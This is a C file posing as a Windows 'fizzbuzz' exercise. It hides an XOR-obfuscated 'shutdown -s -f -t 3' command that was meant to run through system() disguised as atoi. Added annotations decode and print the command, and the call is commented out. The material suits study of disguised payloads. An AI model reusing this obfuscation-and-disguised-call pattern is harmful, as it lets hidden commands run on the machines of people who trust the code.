[PROBLEM 3 OVERVIEW]

/*
    [PROBLEM 3 OVERVIEW]
    Operating System: Windows
    Difficulty: Easy

    [PROBLEM 3 DESCRIPTION]
    The code below contains a unique take on the infamous "fizzbuzz" problem.
    You are tasked with modifying the 'system' variable in order to have getFavoriteFood() return a positive number.
    The current implementation below will output a negative number to stdout.
    An approach that involves "guess-and-check" is valid, but try to understand why certain inputs pass and why others fail.
    Feel free to reach out to your peers, tutors, or other online resources if you need additional help.

    [PROBLEM 3 FOOD MENU]
    #1: Spaghetti
    #2: Chicken Fettuccine
    #3: Cheeseburger
    #4: Pepperoni Pizza
    #5: Caeser Salad
*/

#include <stdio.h>
#include <stdlib.h>

#define SECRET_NUM 32

typedef int (*StringToInt)(const char* text);

int getFavoriteFood(int* secret,
                    StringToInt atoi,
                    char **ffvalue)         // Added
{
    if (ffvalue)
        *ffvalue=0;
    char* favorite_food = (char*)calloc(SECRET_NUM, sizeof(char));

    for(int i = 0; i < SECRET_NUM; i++)
    {
        int counter = secret[i / 4] >> (i % 4 * 8) & 255;

        if(i % 3 == 0)
            favorite_food[i] = counter ^ 3;
        else if (i % 5 == 0)
            favorite_food[i] = counter ^ 5;
        else
            favorite_food[i] = counter ^ 15;
    }

// Let's look closer:
    printf("[ getFavoriteFood(): Supplied: <%s> ]\n", ((char *)(&secret[0])));
                                // [ getFavoriteFood(): Supplied: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ]
    printf("[ getFavoriteFood(): Modified: <%s> ]\n", ((char *)(&favorite_food[0])));
                                // [ getFavoriteFood(): Modified: <shutdown -s -f -t 3 -c "lol xd"> ]
    if (ffvalue)
        *ffvalue=favorite_food;

//  return atoi(favorite_food);     // Calls WHATEVER function that is specified in VARIABLE "atoi"
                                    // with MODIFIED _secret string array AS string
                                    //
    return (0);                     // Do this instead
}

int main()
{
    char *ffvalue;

    int _secret[] = { 2004510576, 1635019371, 796274223, 774859054, 791687035, 758079528, 593717871, 253848439, 0 };
    int _system = '3';

// Let's look closer:
    printf("[ main(): Before: <%s> ]\n", ((char *)(&_secret[0])));  // [ main(): Before: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ]
    getFavoriteFood(_secret, (StringToInt)system, &ffvalue);
    printf("[ main(): After: <%s> ]\n", ffvalue);                   // [ main(): After: <shutdown -s -f -t 3 -c "lol xd"> ]

//  printf("Problem 3: Favorite Food is %d", getFavoriteFood(_secret, (StringToInt)system));

    return 0;
}